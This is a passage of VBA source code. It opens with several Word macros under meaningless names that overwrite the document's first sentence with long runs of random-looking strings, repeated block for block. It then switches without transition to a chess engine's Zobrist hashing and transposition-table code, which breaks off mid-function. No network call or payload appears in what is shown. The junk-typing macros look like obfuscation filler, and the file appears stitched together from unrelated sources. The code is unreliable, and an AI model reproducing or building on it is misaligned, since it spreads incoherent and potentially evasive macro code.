Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Private Sub MemDrartyuwLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Private Sub MemDrgidawLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Public Function HashBoard(ExcludedMove) As THashKey
Dim i As Long, sq As Long
ZobristHash1 = 0: ZobristHash2 = 0
For i = 1 To NumPieces: sq = Pieces(i): HashSetPiece sq, Board(sq): Next i
If EpPosArr(Ply) > 0 Then HashSetPiece EpPosArr(Ply), Board(EpPosArr(Ply))
If bWhiteToMove Then
ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
End If
If WhiteCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
If BlackCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
If ExcludedMove.From > 0 Then ' different hash fьr excluded move positions
HashSetPiece ExcludedMove.From, ExcludedMove.piece: HashSetPiece ExcludedMove.Target, ExcludedMove.piece
End If
HashBoard.HashKey1 = ZobristHash1: HashBoard.HashKey2 = ZobristHash2
End Function
Public Function HashGetKey() As THashKey
HashGetKey.HashKey1 = ZobristHash1
HashGetKey.HashKey2 = ZobristHash2
End Function
Public Sub NextHashGeneration()
HashGeneration = GetMin(255, GameMovesCnt \ 2 + 1)
End Sub
Public Sub HashSetKey(ByRef HashKey As THashKey)
ZobristHash1 = HashKey.HashKey1
ZobristHash2 = HashKey.HashKey2
End Sub
Public Function InsertIntoHashTable(HashKey As THashKey, _
ByVal Depth As Long, _
HashMove, _
ByVal EvalType As Long, _
ByVal Eval As Long, _
ByVal StaticEval As Long)
Dim IndexKey As Long, TmpMove As TMove, i As Long, ReplaceIndex As Long, MaxReplaceValue As Long, ReplaceValue As Long, bPosFound As Boolean
TmpMove = HashMove ' Don't overwrite
bHashUsed = True: bPosFound = False
MaxReplaceValue = 9999
'--- Compute hash key
ZobristHash1 = HashKey.HashKey1: ZobristHash2 = HashKey.HashKey2
IndexKey = HashKeyCompute() * HASH_CLUSTER
ReplaceIndex = IndexKey
For i = 0 To HASH_CLUSTER - 1
With HashTable(IndexKey + i)
If .Position1 <> 0 Then
' Don't overwrite more valuable entry
If (.Position1 = ZobristHash1 And .Position2 = ZobristHash2) Then
' Position found: Preserve hash move if no new move
If TmpMove.From = 0 And .MoveFrom > 0 Then
TmpMove.From = .MoveFrom: TmpMove.Target = .MoveTarget: TmpMove.Promoted = .MovePromoted: TmpMove.IsChecking = .IsChecking
End If
ReplaceIndex = IndexKey + i: bPosFound = True
Exit For
Else
' Other position found. Overwrite?
ReplaceValue = .Depth - 8 * (HashGeneration - .Generation)
If ReplaceValue < MaxReplaceValue Then
MaxReplaceValue = ReplaceValue: ReplaceIndex = IndexKey + i
'If HashUsage > 0 Then HashUsage = HashUsage - 1
End If
End If
Else
If MaxReplaceValue > -9000 Then MaxReplaceValue = -9000: ReplaceIndex = IndexKey + i
End If
End With
Next
If HashTable(ReplaceIndex).Position1 = 0 And HashUsage < 2147483646 Then HashUsage = HashUsage + 1
With HashTable(ReplaceIndex)
'--- Save hash data, preserve hash move if no new move
If Not bPosFound Or EvalType = TT_EXACT Or Depth > .Depth - 4 Or .Generation <> HashGeneration Then
.Position1 = ZobristHash1: .Position2 = ZobristHash2
